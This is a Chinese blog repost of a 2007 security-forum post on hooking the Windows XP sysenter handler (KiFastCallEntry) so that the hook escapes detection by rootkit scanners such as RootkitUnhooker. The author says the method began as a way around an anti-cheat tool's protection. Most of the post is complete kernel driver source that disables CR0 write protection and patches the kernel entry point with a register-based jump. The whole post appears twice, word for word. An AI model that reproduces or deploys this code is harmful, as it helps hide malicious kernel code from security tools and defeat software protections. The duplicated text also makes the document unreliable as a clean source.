另一种sysenter hook方法(绕过绝大多数的rootkit检测工具的检测)
生活随笔
收集整理的這篇文章主要介紹了
另一种sysenter hook方法(绕过绝大多数的rootkit检测工具的检测)
小編覺得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.
標(biāo) 題:
?
【原創(chuàng)】另一種sysenter hook方法(繞過絕大多數(shù)的rootkit檢測(cè)工具的檢測(cè))
作 者:?墮落天才
時(shí) 間:?2007-04-14,11:09:49
鏈 接:?http://bbs.pediy.com/showthread.php?t=42705
*****************************************************************************
*標(biāo)題:【原創(chuàng)】另一種sysenter? hook方法(繞過絕大多數(shù)的rootkit檢測(cè)工具的檢測(cè))? ? *
*作者:墮落天才? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? *
*日期:2007年4月14號(hào)? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? *
*****************************************************************************
? ? ? ? 先廢話,當(dāng)初是為了繞開NP對(duì)sysenter保護(hù)而想出來的,后來發(fā)現(xiàn)連RootkitUnhooker都繞了.
? ? ? ? 什么是sysenter? hook我也不羅唆了,一般的攔截方法就是通過rdmsr? wrmsr? 兩個(gè)指令把原來的sysenter地址改成自己的sysenter地址來實(shí)現(xiàn)的.這種方法使用方便,但檢測(cè)也很容易.
? ? ? ? 這里介紹的另外一種方法不改變sysenter地址,而是通過直接在原來sysenter地址里面寫跳轉(zhuǎn)代碼來實(shí)現(xiàn)的,這實(shí)際上跟一般的函數(shù)頭inline? hook一樣.這樣rootkit檢測(cè)工具就不會(huì)認(rèn)為sysenter已經(jīng)改變(實(shí)際上也是沒變).
? ? ? ? 一般的rootkit檢測(cè)工具檢測(cè)函數(shù)inline? hook是通過檢測(cè)長跳轉(zhuǎn)指令0xE9的來判斷跳轉(zhuǎn)距離是不是超出函數(shù)所在的模塊范圍來確定 的.但是實(shí)現(xiàn)跳轉(zhuǎn)我們也可以借助寄存器或變量(用變量跳轉(zhuǎn)需要涉及重定位問題,麻煩.所以一般用寄存器),這樣跳轉(zhuǎn)指令就不是0xE9了而是0xFF,這 個(gè)絕大多數(shù)rootkit檢測(cè)工具是檢測(cè)不到的(包括著名的RootkitUnhooker,VICE).
? ? ? ? 由于我們已經(jīng)改變了KiFastCall函數(shù)頭,所以我們只能把原來的函數(shù)頭代碼放到另外一個(gè)地方執(zhí)行(動(dòng)態(tài)分配內(nèi)存,當(dāng)然如果不考慮兼容性硬編碼也沒問題),然后再跳轉(zhuǎn)回來.這里使用了"三級(jí)跳",大概是這個(gè)樣子.
? ? ? ? sysenter->KiFastCall
? ? ? ? ? ? ? ? ? ? ? ? ? JMP? ->? MyKiFastCall(這里進(jìn)行攔截或什么的)
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? JMP? ->? KiFastCall? head? code? (這里執(zhí)行原來KiFastCall函數(shù)頭代碼)
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? JMP? ->? KiFastCall? +? N(已經(jīng)執(zhí)行指令長度)
///? ?
//墮落天才
//2007年4月14日
#include
#include? "OpCodeSize.h"
ULONG? uSysenter;? ? ? ? ? ? ? ? ? ? ? //sysenter地址
UCHAR? uOrigSysenterHead[8];//保存原來的八個(gè)字節(jié)函數(shù)頭
PUCHAR? pMovedSysenterCode;? //把原來的KiFastCall函數(shù)頭保存在這里
ULONG? i;? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? //記錄服務(wù)ID
__declspec(naked)? void? MyKiFastCallEntry(void)
{
? ? __asm{
? ? ? ? ? ? ? ? ? ? ? ? pop? ? edi? ? ? ? ? //因?yàn)橛玫搅薳di來跳轉(zhuǎn)? 這里恢復(fù)
? ? ? ? ? ? ? ? ? ? ? ? ? mov? ? i,? eax? ? //得到服務(wù)ID
? ? }
? ? __asm{? ?
? ? ? ? ? ? ? ? ? ? ? pushad
? ? ? ? ? ? ? ? ? ? ? push? fs
? ? ? ? ? ? ? ? ? ? ? ? ? push? 0x30
? ? ? ? ? ? ? ? ? ? ? ? pop? fs
? ? }
? ?
? ? DbgPrint("sysenter? was? hooked!? Get? service? ID:%X",i);? //證明自己存在
? ? __asm{
? ? ? ? ? ? ? ? ? ? ? ? ? pop? fs
? ? ? ? ? ? ? ? ? ? ? ? ? popad? ? ? ?
? ? ? ? jmp? pMovedSysenterCode? //第二跳,跳轉(zhuǎn)到原來的函數(shù)頭代碼?
? ? }
? ?
}
//
VOID? OnUnload(IN? PDRIVER_OBJECT? DriverObject)
{? ? ? ?
? ? __asm{
? ? ? ? cli
? ? ? ? ? ? ? ? ? ? ? ? ? mov? ? eax,cr0
? ? ? ? and? ? eax,not? 10000h
? ? ? ? mov? ? cr0,eax
? ? }
? ? memcpy((PVOID)uSysenter,uOrigSysenterHead,8);//把原來函數(shù)頭的八個(gè)字節(jié)恢復(fù)
? ? __asm{
? ? ? ? mov? ? eax,cr0
? ? ? ? ? ? ? ? ? ? ? ? or? ? ? eax,10000h
? ? ? ? mov? ? cr0,eax
? ? ? ? sti
? ? }
? ? ExFreePool(pMovedSysenterCode);? //? 釋放分配的內(nèi)存
? ? DbgPrint("Unload? sysenterHook");
}
VOID? HookSysenter()
{
? ? UCHAR? ? cHookCode[8]? =? {? 0x57,? ? ? ? ? ? ? ? ? ? //push? edi? ? ? ? ? ? ? 第一跳,從KiFastCall跳到MyKiFastCallEntry.并繞過rootkit檢測(cè)工具檢測(cè)
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? 0xBF,0,0,0,0,? ? //mov? ? edi,0000
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? 0xFF,0xE7};? ? ? ? //jmp? ? edi
? ? UCHAR? ? JmpCode[]={0xE9,0,0,0,0};? ? ? ? ? ? ? //jmp? 0000? 第三跳,從KiFastCall函數(shù)頭代碼跳轉(zhuǎn)到原來KiFastCall+N
? ? int? ? ? ? nCopyLen? =? 0;
? ? int? ? ? ? nPos? =? 0;
? ? __asm{
? ? ? ? ? ? ? ? ? ? mov? ecx,0x176
? ? ? ? ? ? ? ? ? ? ? ? rdmsr
? ? ? ? mov? uSysenter,eax? ? //得到KiFastCallEntry地址
? ? }
? ? DbgPrint("sysenter:0xX",uSysenter);
? ? nPos? =? uSysenter;
? ? ? while(nCopyLen<8){? //我們要改寫的函數(shù)頭至少需要8字節(jié)? 這里計(jì)算實(shí)際需要COPY的代碼長度? 因?yàn)槲覀儾荒馨岩粭l完整的指令打斷
? ? ? ? nCopyLen? +=? GetOpCodeSize((PVOID)nPos);? ? //參考1
? ? ? ? nPos? =? uSysenter? +? nCopyLen;
? ? }
? ?
? ? DbgPrint("copy? code? lenght:%d",nCopyLen);
? ? pMovedSysenterCode? =? ExAllocatePool(NonPagedPool,20);
? ? memcpy(uOrigSysenterHead,(PVOID)uSysenter,8);//備份原來8字節(jié)代碼
? ? *((ULONG*)(JmpCode+1))? =? (uSysenter? +? nCopyLen)? -? ((ULONG)pMovedSysenterCode? +? nCopyLen)-? 5;//計(jì)算跳轉(zhuǎn)地址
? ? memcpy(pMovedSysenterCode,(PVOID)uSysenter,nCopyLen);? //把原來的函數(shù)頭放到新分配的內(nèi)存
? ? memcpy((PVOID)(pMovedSysenterCode? +? nCopyLen),JmpCode,5);? //把跳轉(zhuǎn)代碼COPY上去
? ? *((ULONG*)(cHookCode+2))? =? (ULONG)MyKiFastCallEntry;? //HOOK地址
? ?
? ? DbgPrint("Saved? sysenter? code:0xX",pMovedSysenterCode);
? ? DbgPrint("MyKiFastCallEntry:0xX",MyKiFastCallEntry);
? ? __asm{
? ? ? ? cli
? ? ? ? ? ? ? ? ? ? ? ? mov? ? eax,cr0
? ? ? ? and? ? eax,not? 10000h
? ? ? ? mov? ? cr0,eax
? ? }
? ? memcpy((PVOID)uSysenter,cHookCode,8);//把改寫原來函數(shù)頭
? ? __asm{
? ? ? ? mov? ? eax,cr0
? ? ? ? ? ? ? ? ? ? ? ? or? ? ? eax,10000h
? ? ? ? mov? ? cr0,eax
? ? ? ? sti
? ? }
}
NTSTATUS? DriverEntry(IN? PDRIVER_OBJECT? DriverObject,PUNICODE_STRING? RegistryPath)
{
? ? DbgPrint("Welcome? to? sysenterhook.sys");
? ? DriverObject->DriverUnload? =? OnUnload;
? ? HookSysenter();
? ? return? STATUS_SUCCESS;
}? ? ? ?
///?
以上代碼在? XP? SP2中文? +? RootkitUnhooker下測(cè)試通過?
同理? IDT? hook也可以用這種方法實(shí)現(xiàn),HOOK的實(shí)質(zhì)是改變程序流程,無論在哪里改變
*************************************************************************************************
參考1,? 海風(fēng)月影 ,【分享】西褲哥的?Hook?Api?Lib?0.2?For?C
作 者:?墮落天才
時(shí) 間:?2007-04-14,11:09:49
鏈 接:?http://bbs.pediy.com/showthread.php?t=42705
*****************************************************************************
*標(biāo)題:【原創(chuàng)】另一種sysenter? hook方法(繞過絕大多數(shù)的rootkit檢測(cè)工具的檢測(cè))? ? *
*作者:墮落天才? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? *
*日期:2007年4月14號(hào)? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? *
*****************************************************************************
? ? ? ? 先廢話,當(dāng)初是為了繞開NP對(duì)sysenter保護(hù)而想出來的,后來發(fā)現(xiàn)連RootkitUnhooker都繞了.
? ? ? ? 什么是sysenter? hook我也不羅唆了,一般的攔截方法就是通過rdmsr? wrmsr? 兩個(gè)指令把原來的sysenter地址改成自己的sysenter地址來實(shí)現(xiàn)的.這種方法使用方便,但檢測(cè)也很容易.
? ? ? ? 這里介紹的另外一種方法不改變sysenter地址,而是通過直接在原來sysenter地址里面寫跳轉(zhuǎn)代碼來實(shí)現(xiàn)的,這實(shí)際上跟一般的函數(shù)頭inline? hook一樣.這樣rootkit檢測(cè)工具就不會(huì)認(rèn)為sysenter已經(jīng)改變(實(shí)際上也是沒變).
? ? ? ? 一般的rootkit檢測(cè)工具檢測(cè)函數(shù)inline? hook是通過檢測(cè)長跳轉(zhuǎn)指令0xE9的來判斷跳轉(zhuǎn)距離是不是超出函數(shù)所在的模塊范圍來確定 的.但是實(shí)現(xiàn)跳轉(zhuǎn)我們也可以借助寄存器或變量(用變量跳轉(zhuǎn)需要涉及重定位問題,麻煩.所以一般用寄存器),這樣跳轉(zhuǎn)指令就不是0xE9了而是0xFF,這 個(gè)絕大多數(shù)rootkit檢測(cè)工具是檢測(cè)不到的(包括著名的RootkitUnhooker,VICE).
? ? ? ? 由于我們已經(jīng)改變了KiFastCall函數(shù)頭,所以我們只能把原來的函數(shù)頭代碼放到另外一個(gè)地方執(zhí)行(動(dòng)態(tài)分配內(nèi)存,當(dāng)然如果不考慮兼容性硬編碼也沒問題),然后再跳轉(zhuǎn)回來.這里使用了"三級(jí)跳",大概是這個(gè)樣子.
? ? ? ? sysenter->KiFastCall
? ? ? ? ? ? ? ? ? ? ? ? ? JMP? ->? MyKiFastCall(這里進(jìn)行攔截或什么的)
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? JMP? ->? KiFastCall? head? code? (這里執(zhí)行原來KiFastCall函數(shù)頭代碼)
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? JMP? ->? KiFastCall? +? N(已經(jīng)執(zhí)行指令長度)
///? ?
//墮落天才
//2007年4月14日
#include
#include? "OpCodeSize.h"
ULONG? uSysenter;? ? ? ? ? ? ? ? ? ? ? //sysenter地址
UCHAR? uOrigSysenterHead[8];//保存原來的八個(gè)字節(jié)函數(shù)頭
PUCHAR? pMovedSysenterCode;? //把原來的KiFastCall函數(shù)頭保存在這里
ULONG? i;? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? //記錄服務(wù)ID
__declspec(naked)? void? MyKiFastCallEntry(void)
{
? ? __asm{
? ? ? ? ? ? ? ? ? ? ? ? pop? ? edi? ? ? ? ? //因?yàn)橛玫搅薳di來跳轉(zhuǎn)? 這里恢復(fù)
? ? ? ? ? ? ? ? ? ? ? ? ? mov? ? i,? eax? ? //得到服務(wù)ID
? ? }
? ? __asm{? ?
? ? ? ? ? ? ? ? ? ? ? pushad
? ? ? ? ? ? ? ? ? ? ? push? fs
? ? ? ? ? ? ? ? ? ? ? ? ? push? 0x30
? ? ? ? ? ? ? ? ? ? ? ? pop? fs
? ? }
? ?
? ? DbgPrint("sysenter? was? hooked!? Get? service? ID:%X",i);? //證明自己存在
? ? __asm{
? ? ? ? ? ? ? ? ? ? ? ? ? pop? fs
? ? ? ? ? ? ? ? ? ? ? ? ? popad? ? ? ?
? ? ? ? jmp? pMovedSysenterCode? //第二跳,跳轉(zhuǎn)到原來的函數(shù)頭代碼?
? ? }
? ?
}
//
VOID? OnUnload(IN? PDRIVER_OBJECT? DriverObject)
{? ? ? ?
? ? __asm{
? ? ? ? cli
? ? ? ? ? ? ? ? ? ? ? ? ? mov? ? eax,cr0
? ? ? ? and? ? eax,not? 10000h
? ? ? ? mov? ? cr0,eax
? ? }
? ? memcpy((PVOID)uSysenter,uOrigSysenterHead,8);//把原來函數(shù)頭的八個(gè)字節(jié)恢復(fù)
? ? __asm{
? ? ? ? mov? ? eax,cr0
? ? ? ? ? ? ? ? ? ? ? ? or? ? ? eax,10000h
? ? ? ? mov? ? cr0,eax
? ? ? ? sti
? ? }
? ? ExFreePool(pMovedSysenterCode);? //? 釋放分配的內(nèi)存
? ? DbgPrint("Unload? sysenterHook");
}
VOID? HookSysenter()
{
? ? UCHAR? ? cHookCode[8]? =? {? 0x57,? ? ? ? ? ? ? ? ? ? //push? edi? ? ? ? ? ? ? 第一跳,從KiFastCall跳到MyKiFastCallEntry.并繞過rootkit檢測(cè)工具檢測(cè)
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? 0xBF,0,0,0,0,? ? //mov? ? edi,0000
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? 0xFF,0xE7};? ? ? ? //jmp? ? edi
? ? UCHAR? ? JmpCode[]={0xE9,0,0,0,0};? ? ? ? ? ? ? //jmp? 0000? 第三跳,從KiFastCall函數(shù)頭代碼跳轉(zhuǎn)到原來KiFastCall+N
? ? int? ? ? ? nCopyLen? =? 0;
? ? int? ? ? ? nPos? =? 0;
? ? __asm{
? ? ? ? ? ? ? ? ? ? mov? ecx,0x176
? ? ? ? ? ? ? ? ? ? ? ? rdmsr
? ? ? ? mov? uSysenter,eax? ? //得到KiFastCallEntry地址
? ? }
? ? DbgPrint("sysenter:0xX",uSysenter);
? ? nPos? =? uSysenter;
? ? ? while(nCopyLen<8){? //我們要改寫的函數(shù)頭至少需要8字節(jié)? 這里計(jì)算實(shí)際需要COPY的代碼長度? 因?yàn)槲覀儾荒馨岩粭l完整的指令打斷
? ? ? ? nCopyLen? +=? GetOpCodeSize((PVOID)nPos);? ? //參考1
? ? ? ? nPos? =? uSysenter? +? nCopyLen;
? ? }
? ?
? ? DbgPrint("copy? code? lenght:%d",nCopyLen);
? ? pMovedSysenterCode? =? ExAllocatePool(NonPagedPool,20);
? ? memcpy(uOrigSysenterHead,(PVOID)uSysenter,8);//備份原來8字節(jié)代碼
? ? *((ULONG*)(JmpCode+1))? =? (uSysenter? +? nCopyLen)? -? ((ULONG)pMovedSysenterCode? +? nCopyLen)-? 5;//計(jì)算跳轉(zhuǎn)地址
? ? memcpy(pMovedSysenterCode,(PVOID)uSysenter,nCopyLen);? //把原來的函數(shù)頭放到新分配的內(nèi)存
? ? memcpy((PVOID)(pMovedSysenterCode? +? nCopyLen),JmpCode,5);? //把跳轉(zhuǎn)代碼COPY上去
? ? *((ULONG*)(cHookCode+2))? =? (ULONG)MyKiFastCallEntry;? //HOOK地址
? ?
? ? DbgPrint("Saved? sysenter? code:0xX",pMovedSysenterCode);
? ? DbgPrint("MyKiFastCallEntry:0xX",MyKiFastCallEntry);
? ? __asm{
? ? ? ? cli
? ? ? ? ? ? ? ? ? ? ? ? mov? ? eax,cr0
? ? ? ? and? ? eax,not? 10000h
? ? ? ? mov? ? cr0,eax
? ? }
? ? memcpy((PVOID)uSysenter,cHookCode,8);//把改寫原來函數(shù)頭
? ? __asm{
? ? ? ? mov? ? eax,cr0
? ? ? ? ? ? ? ? ? ? ? ? or? ? ? eax,10000h
? ? ? ? mov? ? cr0,eax
? ? ? ? sti
? ? }
}
NTSTATUS? DriverEntry(IN? PDRIVER_OBJECT? DriverObject,PUNICODE_STRING? RegistryPath)
{
? ? DbgPrint("Welcome? to? sysenterhook.sys");
? ? DriverObject->DriverUnload? =? OnUnload;
? ? HookSysenter();
? ? return? STATUS_SUCCESS;
}? ? ? ?
///?
以上代碼在? XP? SP2中文? +? RootkitUnhooker下測(cè)試通過?
同理? IDT? hook也可以用這種方法實(shí)現(xiàn),HOOK的實(shí)質(zhì)是改變程序流程,無論在哪里改變
*************************************************************************************************
參考1,? 海風(fēng)月影 ,【分享】西褲哥的?Hook?Api?Lib?0.2?For?C
總結(jié)
以上是生活随笔為你收集整理的另一种sysenter hook方法(绕过绝大多数的rootkit检测工具的检测)的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: SSDT Hook的妙用-对抗ring0
- 下一篇: HOOK -- IAT HOOK 本进程